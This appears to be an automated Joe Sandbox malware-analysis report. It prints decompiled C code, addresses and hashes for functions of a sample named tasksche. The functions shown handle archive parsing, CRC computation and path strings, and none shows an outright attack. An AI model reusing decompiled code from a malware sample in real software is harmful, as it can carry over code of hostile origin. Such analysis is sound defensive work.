									if(_a4 == 4) {
										_t140 = _t140 + 1;
										_a4 = _a4 & 0x00000000;
									}
									if(_t137 < _t119) {
										continue;
									} else {
										goto L36;
									}
									goto L37;
								}
							}
							goto L37;
							L36:
						} while (_t140 <=  *((intOrPtr*)(_t141 + 4)));
					}
				} else {
					while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						if(_t102 < _t119) {
							_t139 = _t157 + _t102 * 4 - 0x38;
							while(_a4 < 4) {
								_t102 = _t102 + 1;
								_t139 = _t139 + 4;
								_a4 = _a4 + 1;
								asm("movsd");
								_t141 = _v8;
								if(_t102 < _t119) {
									continue;
								}
								goto L6;
							}
						}
						L6:
						if(_a4 == 4) {
							_t140 = _t140 + 1;
							_a4 = _a4 & 0x00000000;
						}
						if(_t102 < _t119) {
							continue;
						} else {
							goto L9;
						}
						goto L37;
					}
				}
				L37:
				return _t102;
			}

0x0040c50d
0x0040c516
0x0040c519
0x0040c51c
0x0040c521
0x0040c526
0x0040c52a
0x0040c52d
0x0040c56f
0x0040c572
0x0040c57a
0x0040c581
0x0040c588
0x0040c593
0x0040c596
0x0040c599
0x0040c5a0
0x0040c5a9
0x0040c5b2
0x0040c5be
0x0040c5cd
0x0040c5dc
0x0040c5e2
0x0040c5e4
0x0040c5e7
0x0040c5ed
0x0040c613
0x0040c616
0x0040c617
0x0040c619
0x0040c61a
0x0040c61d
0x0040c61f
0x0040c620
0x0040c620
0x0040c623
0x0040c623
0x0040c630
0x0040c63d
0x0040c64a
0x0040c657
0x0040c65c
0x0040c65f
0x0040c660
0x0040c662
0x0040c663
0x0040c663
0x0040c666
0x0040c668
0x0040c669
0x0040c669
0x0040c66c
0x0040c66c
0x00000000
0x0040c5ef
0x0040c5f2
0x0040c5f4
0x0040c5f7
0x0040c5fa
0x0040c5fa
0x0040c5fc
0x0040c5fc
0x0040c600
0x0040c603
0x0040c604
0x0040c609
0x0040c60c
0x0040c60c
0x0040c66f
0x0040c66f
0x0040c66f
0x0040c5f2
0x0040c672
0x0040c676
0x00000000
0x00000000
0x0040c678
0x0040c67f
0x0040c681
0x0040c685
0x0040c696
0x0040c697
0x0040c69a
0x0040c69f
0x0040c6a0
0x0040c6a3
0x00000000
0x00000000
0x00000000
0x0040c6a3
0x0040c685
0x0040c6a5
0x0040c6a9
0x0040c6ab
0x0040c6ac
0x0040c6ac
0x0040c6b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c6b2
0x0040c678
0x00000000
0x0040c6b4
0x0040c6b4
0x0040c5a0
0x00000000
0x0040c52f
0x0040c53a
0x0040c53c
0x0040c540
0x0040c551
0x0040c552
0x0040c555
0x0040c55a
0x0040c55b
0x0040c55e
0x00000000
0x00000000
0x00000000
0x0040c55e
0x0040c540
0x0040c560
0x0040c564
0x0040c566
0x0040c567
0x0040c567
0x0040c56d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c56d
0x0040c52f
0x0040c6c1
0x0040c6c1

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction ID: ff0af43037c4d522a8ee791cbe8e93d8d44487ff0532052a3f1666816209b0e9
Opcode Fuzzy Hash: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction Fuzzy Hash: CF51F874804298AACF11CFA4C4D05FDBFB0EF5A328F6955BFD8857B282C2356646CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041450F Relevance: .1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0041450F(void* __ebx, intOrPtr __ecx, signed int* _a4, char _a7, signed int* _a8, signed char _a11) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _t40;
				signed int _t41;
				signed int _t47;
				intOrPtr _t48;
				unsigned int _t49;
				signed int _t53;
				void* _t57;
				void* _t58;
				signed char _t60;
				void* _t64;
				unsigned char _t75;
				intOrPtr _t87;
				signed int* _t91;
				signed int* _t92;
				signed int _t93;
				intOrPtr _t94;

				_t58 = __ebx;
				_t92 = _a4;
				_t91 = _a8;
				_t91[3] = _t91[3] & 0x00000000;
				_v16 = __ecx;
				if(_t92[2] != 0 ||  *_t92 <=  *((intOrPtr*)(__ecx + 0x78)) - 7) {
					L3:
					_push(_t58);
					E004097BA(_t92,  ~(_t92[1]) & 0x00000007);
					_t60 = E004097D1(_t92) >> 8;
					_a11 = _t60;
					E004097BA(_t92, 8);
					_t40 = _t60 & 0x000000ff;
					_t64 = (_t40 >> 0x00000003 & 0x00000003) + 1;
					if(_t64 == 4) {
						L9:
						_t41 = 0;
						L13:
						return _t41;
					}
					_t10 = _t64 + 2; // 0x3
					_t91[3] = _t10;
					_t91[1] = (_t40 & 0x00000007) + 1;
					_a7 = E004097D1(_t92) >> 8;
					E004097BA(_t92, 8);
					_t47 = 0;
					_v12 = 0;
					if(_t64 <= 0) {
						L8:
						_t75 = _a11;
						 *_t91 = _t47;
						if((_t47 >> 0x00000010 ^ _t47 >> 0x00000008 ^ _t47 ^ _t75 ^ 0x0000005a) == _a7) {
							_t93 =  *_t92;
							_t87 = _t93 + _t47 - 1;
							_t48 = _v16;
							_t91[2] = _t93;
							_t94 =  *((intOrPtr*)(_t48 + 0x7c));
							if(_t94 < _t87) {
								_t87 = _t94;
							}
							 *((intOrPtr*)(_t48 + 0x7c)) = _t87;
							_t41 = 1;
							_t91[4] = _t75 >> 0x00000006 & 0x00000001;
							_t91[4] = _t75 >> 7;
							goto L13;
						}
						goto L9;
					}
					_v8 = 0;
					do {
						_t49 = E004097D1(_t92);
						_v8 = _v8 + 8;
						_v12 = _v12 + (_t49 >> 8 << _v8);
						_t53 = _t92[1] + 8;
						 *_t92 =  *_t92 + (_t53 >> 3);
						_t64 = _t64 - 1;
						_t92[1] = _t53 & 0x00000007;
					} while (_t64 != 0);
					_t47 = _v12;
					goto L8;
				}
				_t57 = E004123EB(__ebx, __ecx);
				if(_t57 != 0) {
					goto L3;
				}
				return _t57;
			}

0x0041450f
0x00414516
0x0041451a
0x0041451d
0x00414525
0x00414528
0x00414541
0x00414546
0x0041454d
0x0041455b
0x00414562
0x00414565
0x0041456a
0x00414575
0x00414579
0x004145f6
0x004145f6
0x00414624
0x00000000
0x00414624
0x0041457b
0x00414581
0x00414587
0x00414596
0x00414599
0x0041459e
0x004145a0
0x004145a5
0x004145d9
0x004145e5
0x004145ef
0x004145f4
0x004145fa
0x004145fc
0x00414600
0x00414603
0x00414606
0x0041460b
0x0041460d
0x0041460d
0x0041460f
0x00414617
0x0041461e
0x00414621
0x00000000
0x00414621
0x00000000
0x004145f4
0x004145a7
0x004145aa
0x004145ac
0x004145b4
0x004145bd
0x004145c3
0x004145cb
0x004145d0
0x004145d1
0x004145d1
0x004145d6
0x00000000
0x004145d6
0x00414534
0x0041453b
0x00000000
0x00000000
0x00414628

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction ID: 1b781f1f23d015917a337ea3c6206954a5313e6084e2437016288461132a8366
Opcode Fuzzy Hash: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction Fuzzy Hash: EF312372A10605ABCB04DF38C4912DEBBE2EF81308F14812FD865DB782D37DA945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: .1, Instructions: 73
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00405610(unsigned int _a4, signed char _a8, unsigned int _a12) {
				signed char _t30;
				signed char _t32;
				signed char _t52;
				signed char _t57;
				unsigned int _t72;

				_t52 = _a8;
				_t30 = _a4;
				_t72 = _a12;
				while(_t72 > 0 && (_t52 & 0x00000007) != 0) {
					_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
					_t72 = _t72 - 1;
					_t52 = _t52 + 1;
				}
				if(_t72 >= 8) {
					_a4 = _t72 >> 3;
					do {
						_t57 =  *(_t52 + 4);
						_t32 = _t30 ^  *_t52;
						_t72 = _t72 - 8;
						_t52 = _t52 + 8;
						_t26 =  &_a4;
						 *_t26 = _a4 - 1;
						_t30 =  *(0x4319a0 + (_t57 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4315a0 + (_t57 >> 0x18) * 4) ^  *(0x431da0 + (_t57 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4325a0 + (_t32 >> 0x18) * 4) ^  *(0x4329a0 + (_t32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x432da0 + (_t32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4321a0 + (_t57 & 0x000000ff) * 4) ^  *(0x4331a0 + (_t32 & 0x000000ff) * 4);
					} while ( *_t26 != 0);
					L9:
					while(_t72 > 0) {
						_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
						_t52 = _t52 + 1;
					}
					return _t30;
				}
				goto L9;
			}

0x00405613
0x00405616
0x0040561a
0x0040561e
0x00405632
0x00405639
0x0040563a
0x0040563a
0x00405640
0x0040564b
0x0040564f
0x0040564f
0x00405652
0x004056bc
0x004056bf
0x004056c2
0x004056c2
0x004056c5
0x004056c5
0x00000000
0x004056e0
0x004056d7
0x004056de
0x004056df
0x004056df
0x004056e7
0x004056e7
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction ID: 2ccb413243c8e3f3810094ea986113c02d7a387cc67c693c5ca68079d889c8bb
Opcode Fuzzy Hash: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction Fuzzy Hash: 2821D872A106716BD7048F65EC8412733A2D7CA3617DB4237DF445B3B1D135B922CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3DC Relevance: 18.1, APIs: 12, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040A3DC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v4100;
				signed short* _t26;
				signed short* _t28;
				signed short* _t29;
				void* _t35;
				signed short* _t49;
				void* _t58;
				signed short* _t75;
				signed short* _t76;

				E0041AAF0(0x1000);
				_t75 = _a4;
				if( *_t75 != 0) {
					E0040A0EA(_t75);
					_t58 = E0041A7AF(_t75);
					_t26 = E0040A2F5(_t75);
					__eflags = _t26;
					if(_t26 == 0) {
						_t28 =  *0x42a078(0x7ff,  &_v4100);
						__eflags = _t28;
						if(_t28 == 0) {
							L21:
							_t29 = 0;
							__eflags = 0;
							L22:
							return _t29;
						}
						__eflags = _t28 - 0x7ff;
						if(_t28 > 0x7ff) {
							goto L21;
						}
						__eflags = E0040A0C5( *_t75 & 0x0000ffff);
						if(__eflags == 0) {
							E0040A116(__eflags,  &_v4100, 0x800);
							_t35 = E0041A7AF( &_v4100);
							__eflags = _a12 - _t35 + _t58 + 4;
							if(_a12 <= _t35 + _t58 + 4) {
								goto L21;
							}
							_t68 = _a8;
							E0041C853(_a8, 0x42a6b4, 4);
							E0041A7F7(_t68 + 8,  &_v4100);
							__eflags =  *_t75 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0040A0C5(_t75[1] & 0x0000ffff);
								if(__eflags != 0) {
									__eflags = _t75;
								}
							}
							E00410BC9(__eflags, _t68, _t75, _a12);
							L20:
							_t29 = 1;
							goto L22;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t69 = _a8;
						E0041C853(_a8, 0x42a6b4, 4);
						E0041C853(_t69 + 8,  &_v4100, 2);
						E0041A7F7(_t69 + 0xc, _t75);
						goto L20;
					}
					_t49 = E0040A0EA(_t75);
					__eflags = _t49;
					if(_t49 == 0) {
						__eflags =  *_t75 - 0x5c;
						if( *_t75 != 0x5c) {
							goto L21;
						}
						_t76 =  &(_t75[1]);
						__eflags =  *_t76 - 0x5c;
						if( *_t76 != 0x5c) {
							goto L21;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t71 = _a8;
						E0041C853(_a8, 0x42a6b4, 4);
						E0041A7F7(_t71 + 8, 0x42a6ac);
						E0041A7F7(_t71 + 0xe, _t76);
						goto L20;
					}
					__eflags = _a12 - _t58 + 4;
					if(_a12 <= _t58 + 4) {
						goto L21;
					}
					_t73 = _a8;
					E0041C853(_a8, 0x42a6b4, 4);
					E0041A7F7(_t73 + 8, _t75);
					goto L20;
				}
				return 0;
			}

0x0040a3e4
0x0040a3ea
0x0040a3f1
0x0040a3fd
0x0040a40a
0x0040a40c
0x0040a411
0x0040a413
0x0040a4b1
0x0040a4b7
0x0040a4b9
0x0040a580
0x0040a580
0x0040a580
0x0040a582
0x00000000
0x0040a583
0x0040a4bf
0x0040a4c1
0x00000000
0x00000000
0x0040a4d0
0x0040a4d2
0x0040a51d
0x0040a529
0x0040a533
0x0040a536
0x00000000
0x00000000
0x0040a538
0x0040a543
0x0040a553
0x0040a55b
0x0040a55f
0x0040a56b
0x0040a56d
0x0040a56f
0x0040a56f
0x0040a56d
0x0040a577
0x0040a57c
0x0040a57c
0x00000000
0x0040a57c
0x0040a4d7
0x0040a4da
0x00000000
0x00000000
0x0040a4e0
0x0040a4eb
0x0040a4fd
0x0040a507
0x00000000
0x0040a50c
0x0040a41a
0x0040a41f
0x0040a421
0x0040a451
0x0040a455
0x00000000
0x00000000
0x0040a45b
0x0040a45e
0x0040a462
0x00000000
0x00000000
0x0040a46b
0x0040a46e
0x00000000
0x00000000
0x0040a474
0x0040a47f
0x0040a48d
0x0040a497
0x00000000
0x0040a49c
0x0040a426
0x0040a429
0x00000000
0x00000000
0x0040a42f
0x0040a43a
0x0040a444
0x00000000
0x0040a449
0x00000000

APIs

_wcslen.LIBCMT ref: 0040A403
_wcsncpy.LIBCMT ref: 0040A43A
_wcscpy.LIBCMT ref: 0040A444

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID:
API String ID: 677062453-0
Opcode ID: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction ID: cd13f9bd72fca169d524aa050727d65a10ef4dcd9f377a8cbe6755f4863ba3db
Opcode Fuzzy Hash: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction Fuzzy Hash: 7441AF7294131476DB20AA618C82AEB33687F55748F04442FF954732C2E7BCD6A586AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC32 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 240
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040BC32(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t82;
				void* _t83;
				intOrPtr _t90;
				void* _t91;
				unsigned int _t92;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t106;
				signed int _t114;
				void* _t115;
				signed int _t116;
				signed int _t119;
				void* _t134;
				signed int _t139;
				signed int _t141;
				void* _t150;
				signed int _t153;
				signed int _t154;
				intOrPtr _t156;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t165;
				void* _t167;
				void* _t169;

				_t150 = __edx;
				E0041A4DC(0x42977f, _t167);
				E0041AAF0(0x4034);
				_t165 = __ecx;
				_t82 = E0041CA29( *((intOrPtr*)(_t167 + 8)), 0x5c);
				_t83 = _t167 - 0x2040;
				if(_t82 != 0) {
					L3:
					E0041A7F7(_t83,  *((intOrPtr*)(_t167 + 8)));
					E00408786(_t167 - 0x1040);
					_push(4);
					_t123 = 0;
					_push(_t167 - 0x2040);
					 *(_t167 - 4) = 0;
					if(E004087C3(_t167 - 0x1040) != 0) {
						_t12 = _t167 - 0x10;
						 *_t12 =  *(_t167 - 0x10) | 0xffffffff;
						__eflags =  *_t12;
						 *((char*)(_t167 + 0xb)) = 0;
						 *((intOrPtr*)(_t167 - 0x14)) = 0;
						_push(_t154);
						while(1) {
							__eflags =  *(_t167 - 0x10) - 0xffffffff;
							if( *(_t167 - 0x10) != 0xffffffff) {
								break;
							}
							 *((intOrPtr*)(_t167 - 0x1c)) = E00408BAE(_t167 - 0x1040, _t150);
							_t143 = _t167 - 0x1040;
							_t106 = E00408E7B(_t167 - 0x1040, _t150, _t167 - 0x4040, 0x2000);
							 *((intOrPtr*)(_t167 - 0x18)) = _t106;
							_t154 = 0;
							__eflags = _t106 + 0xfffffff0 - _t123;
							if(_t106 + 0xfffffff0 < _t123) {
								L22:
								_t123 = 0;
								E00408FED(_t167 - 0x1040,  *((intOrPtr*)(_t167 - 0x18)) +  *((intOrPtr*)(_t167 - 0x1c)) - 0x10, 0, 0);
								 *((intOrPtr*)(_t167 - 0x14)) =  *((intOrPtr*)(_t167 - 0x14)) + 1;
								__eflags =  *((intOrPtr*)(_t167 - 0x14)) - 0x80;
								if( *((intOrPtr*)(_t167 - 0x14)) < 0x80) {
									continue;
								} else {
									__eflags =  *(_t167 - 0x10) - 0xffffffff;
									if( *(_t167 - 0x10) == 0xffffffff) {
										goto L51;
									} else {
										break;
									}
								}
							} else {
								do {
									_t123 = _t167 + _t154 - 0x4040;
									__eflags =  *_t123 - 0x2a;
									if( *_t123 != 0x2a) {
										L11:
										__eflags =  *_t123 - 0x2a;
										if( *_t123 != 0x2a) {
											L15:
											__eflags =  *_t123 - 0x52;
											if( *_t123 != 0x52) {
												goto L18;
											} else {
												__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x61;
												if( *((char*)(_t167 + _t154 - 0x403f)) != 0x61) {
													goto L18;
												} else {
													_t114 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a6f0, 4);
													_t169 = _t169 + 0xc;
													__eflags = _t114;
													if(_t114 == 0) {
														L51:
														_t134 = _t167 - 0x1040;
													} else {
														goto L18;
													}
												}
											}
										} else {
											_t115 = _t167 + _t154 - 0x403c;
											__eflags =  *((short*)(_t115 - 2)) - 0x2a;
											if( *((short*)(_t115 - 2)) != 0x2a) {
												goto L15;
											} else {
												_t143 =  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												if(_t154 >  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0) {
													goto L15;
												} else {
													_t116 = E0041C81C(_t115, 0x42a6f8, 0xb);
													_t169 = _t169 + 0xc;
													__eflags = _t116;
													if(_t116 == 0) {
														 *((char*)(_t167 + 0xb)) = 1;
														goto L21;
													} else {
														goto L15;
													}
												}
											}
										}
									} else {
										__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x2a;
										if( *((char*)(_t167 + _t154 - 0x403f)) != 0x2a) {
											goto L11;
										} else {
											_t119 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a714, 0xb);
											_t169 = _t169 + 0xc;
											__eflags = _t119;
											if(_t119 == 0) {
												L21:
												_t154 = _t154 +  *((intOrPtr*)(_t167 - 0x1c));
												__eflags = _t154;
												 *(_t167 - 0x10) = _t154;
												goto L22;
											} else {
												goto L11;
											}
										}
									}
									goto L52;
									L18:
									_t154 = _t154 + 1;
									__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0;
								} while (_t154 <=  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0);
								goto L22;
							}
							L52:
							_t75 = _t167 - 4;
							 *_t75 =  *(_t167 - 4) | 0xffffffff;
							__eflags =  *_t75;
							_t91 = E00408C7D(_t123, _t134);
							goto L53;
						}
						asm("cdq");
						E00408FED(_t167 - 0x1040,  *(_t167 - 0x10), _t150, _t123);
						_t90 = E0041CF3E(_t123, _t150, _t154, 0x80002);
						 *_t165 = _t90;
						_t134 = _t167 - 0x1040;
						__eflags = _t90 - _t123;
						if(_t90 != _t123) {
							_t92 = E00408E7B(_t134, _t150, _t90, 0x80000);
							__eflags =  *((char*)(_t167 + 0xb));
							 *(_t165 + 4) = _t92;
							if( *((char*)(_t167 + 0xb)) == 0) {
								_t156 = E0041CF3E(_t123, _t150, _t154, _t92 + _t92 + 2);
								__eflags = _t156 - _t123;
								if(_t156 != _t123) {
									 *((char*)( *(_t165 + 4) +  *_t165)) = 0;
									__eflags =  *(_t165 + 4) + 1;
									E00411B3C( *_t165, _t156,  *(_t165 + 4) + 1);
									_push( *_t165);
									E0041A506(_t123, _t156, _t165, __eflags);
									 *_t165 = _t156;
									goto L29;
								}
							} else {
								 *(_t165 + 4) = _t92 >> 1;
								L29:
								_t139 =  *(_t165 + 4);
								_t100 = 0x40000;
								__eflags = _t139 - 0x40000;
								if(_t139 <= 0x40000) {
									_t100 = _t139;
								}
								 *((short*)( *_t165 + _t100 * 2)) = 0;
								_t141 = 0;
								__eflags =  *(_t165 + 4);
								if( *(_t165 + 4) > 0) {
									while(1) {
										_t102 =  *_t165;
										_t153 =  *(_t102 + _t123 * 2) & 0x0000ffff;
										_t123 = _t123 + 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										__eflags = _t153 - 0x5c;
										if(_t153 != 0x5c) {
											__eflags = _t153 - 0xd;
											if(_t153 == 0xd) {
												L47:
												_push(0xc);
												goto L48;
											} else {
												__eflags = _t153 - 0xa;
												if(_t153 == 0xa) {
													goto L47;
												}
											}
										} else {
											_t158 = ( *(_t102 + _t123 * 2) & 0x0000ffff) - 0x22;
											__eflags = _t158;
											if(_t158 == 0) {
												_push(0x22);
												goto L44;
											} else {
												_t159 = _t158 - 0x3a;
												__eflags = _t159;
												if(_t159 == 0) {
													_push(0x5c);
													goto L44;
												} else {
													_t160 = _t159 - 0x12;
													__eflags = _t160;
													if(_t160 == 0) {
														_push(0xa);
														goto L44;
													} else {
														_t161 = _t160 - 4;
														__eflags = _t161;
														if(_t161 == 0) {
															_push(0xd);
															goto L44;
														} else {
															__eflags = _t161 == 0;
															if(_t161 == 0) {
																_push(9);
																L44:
																_t123 = _t123 + 1;
																L48:
																_pop(_t153);
															}
														}
													}
												}
											}
										}
										 *(_t102 + _t141 * 2) = _t153;
										_t141 = _t141 + 1;
										__eflags = _t123 -  *(_t165 + 4);
										if(_t123 <  *(_t165 + 4)) {
											continue;
										}
										goto L50;
									}
								}
								L50:
								__eflags = 0;
								 *((short*)( *_t165 + _t141 * 2)) = 0;
								 *(_t165 + 4) = _t141;
							}
							goto L51;
						}
						goto L52;
					} else {
						 *(_t167 - 4) =  *(_t167 - 4) | 0xffffffff;
						_t91 = E00408C7D(0, _t167 - 0x1040);
					}
					L53:
				} else {
					 *0x42a084(0, _t83, 0x800);
					_t91 = E0041CA4F(_t167 - 0x2040, 0x5c);
					if(_t91 != 0) {
						_t83 = _t91 + 2;
						goto L3;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t167 - 0xc));
				return _t91;
			}

0x0040bc32
0x0040bc37
0x0040bc41
0x0040bc4c
0x0040bc4e
0x0040bc57
0x0040bc5d
0x0040bc88
0x0040bc8c
0x0040bc9a
0x0040bc9f
0x0040bca7
0x0040bca9
0x0040bcb0
0x0040bcba
0x0040bcd0
0x0040bcd0
0x0040bcd0
0x0040bcd4
0x0040bcd7
0x0040bcda
0x0040bcdb
0x0040bcdb
0x0040bcdf
0x00000000
0x00000000
0x0040bcf0
0x0040bcff
0x0040bd05
0x0040bd0a
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bdc8
0x0040bdce
0x0040bddd
0x0040bde2
0x0040bde5
0x0040bdec
0x00000000
0x0040bdf2
0x0040bdf2
0x0040bdf6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bdf6
0x0040bd1a
0x0040bd1a
0x0040bd1a
0x0040bd21
0x0040bd24
0x0040bd4b
0x0040bd4b
0x0040bd4f
0x0040bd7d
0x0040bd7d
0x0040bd80
0x00000000
0x0040bd82
0x0040bd82
0x0040bd8a
0x00000000
0x0040bd8c
0x0040bd9b
0x0040bda0
0x0040bda3
0x0040bda5
0x0040befd
0x0040befd
0x00000000
0x00000000
0x00000000
0x0040bda5
0x0040bd8a
0x0040bd51
0x0040bd51
0x0040bd58
0x0040bd5d
0x00000000
0x0040bd5f
0x0040bd62
0x0040bd65
0x0040bd67
0x00000000
0x0040bd69
0x0040bd71
0x0040bd76
0x0040bd79
0x0040bd7b
0x0040bdbc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd7b
0x0040bd67
0x0040bd5d
0x0040bd26
0x0040bd26
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd3f
0x0040bd44
0x0040bd47
0x0040bd49
0x0040bdc0
0x0040bdc3
0x0040bdc3
0x0040bdc5
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd49
0x0040bd2e
0x00000000
0x0040bdab
0x0040bdae
0x0040bdb2
0x0040bdb2
0x00000000
0x0040bdba
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf07
0x00000000
0x0040bf0c
0x0040bdff
0x0040be09
0x0040be13
0x0040be19
0x0040be1b
0x0040be21
0x0040be23
0x0040be2f
0x0040be34
0x0040be38
0x0040be3b
0x0040be4e
0x0040be51
0x0040be53
0x0040be5e
0x0040be65
0x0040be6a
0x0040be6f
0x0040be71
0x0040be77
0x00000000
0x0040be77
0x0040be3d
0x0040be3f
0x0040be79
0x0040be79
0x0040be7c
0x0040be81
0x0040be83
0x0040be85
0x0040be85
0x0040be8b
0x0040be8f
0x0040be91
0x0040be94
0x0040be96
0x0040be96
0x0040be98
0x0040be9c
0x0040be9d
0x0040bea0
0x00000000
0x00000000
0x0040bea2
0x0040bea6
0x0040bed9
0x0040bedd
0x0040bee5
0x0040bee5
0x00000000
0x0040bedf
0x0040bedf
0x0040bee3
0x00000000
0x00000000
0x0040bee3
0x0040bea8
0x0040beac
0x0040beac
0x0040beaf
0x0040bed4
0x00000000
0x0040beb1
0x0040beb1
0x0040beb1
0x0040beb4
0x0040bed0
0x00000000
0x0040beb6
0x0040beb6
0x0040beb6
0x0040beb9
0x0040becc
0x00000000
0x0040bebb
0x0040bebb
0x0040bebb
0x0040bebe
0x0040bec8
0x00000000
0x0040bec0
0x0040bec1
0x0040bec2
0x0040bec4
0x0040bed6
0x0040bed6
0x0040bee7
0x0040bee7
0x0040bee7
0x0040bec2
0x0040bebe
0x0040beb9
0x0040beb4
0x0040beaf
0x0040bee8
0x0040beec
0x0040beed
0x0040bef0
0x00000000
0x00000000
0x00000000
0x0040bef0
0x0040be96
0x0040bef2
0x0040bef4
0x0040bef6
0x0040befa
0x0040befa
0x00000000
0x0040be3b
0x00000000
0x0040bcbc
0x0040bcbc
0x0040bcc6
0x0040bcc6
0x0040bf0d
0x0040bc5f
0x0040bc67
0x0040bc76
0x0040bc7f
0x0040bc85
0x00000000
0x0040bc85
0x0040bc7f
0x0040bf12
0x0040bf1a

APIs

__EH_prolog.LIBCMT ref: 0040BC37
_wcschr.LIBCMT ref: 0040BC4E
_wcsrchr.LIBCMT ref: 0040BC76
_wcscpy.LIBCMT ref: 0040BC8C
_malloc.LIBCMT ref: 0040BE13

Part of subcall function 00408BAE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1

_strncmp.LIBCMT ref: 0040BD3F
_strncmp.LIBCMT ref: 0040BD9B
_malloc.LIBCMT ref: 0040BE49

Strings

a, xrefs: 0040BD82

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _malloc_strncmp$FileH_prologPointer_wcschr_wcscpy_wcsrchr
String ID: a
API String ID: 2875971923-3904355907
Opcode ID: adb6ff6c9b55866188c3b73c7ed1d0a9028868756e270cff1488f78acb69c52c
Instruction ID: aa973f8903d1be904dc07ab5abbbb304e5ce1521a2ae556c165a5ca6c4136d8e
Opcode Fuzzy Hash: adb6ff6c9b55866188c3b73c7ed1d0a9028868756e270cff1488f78acb69c52c
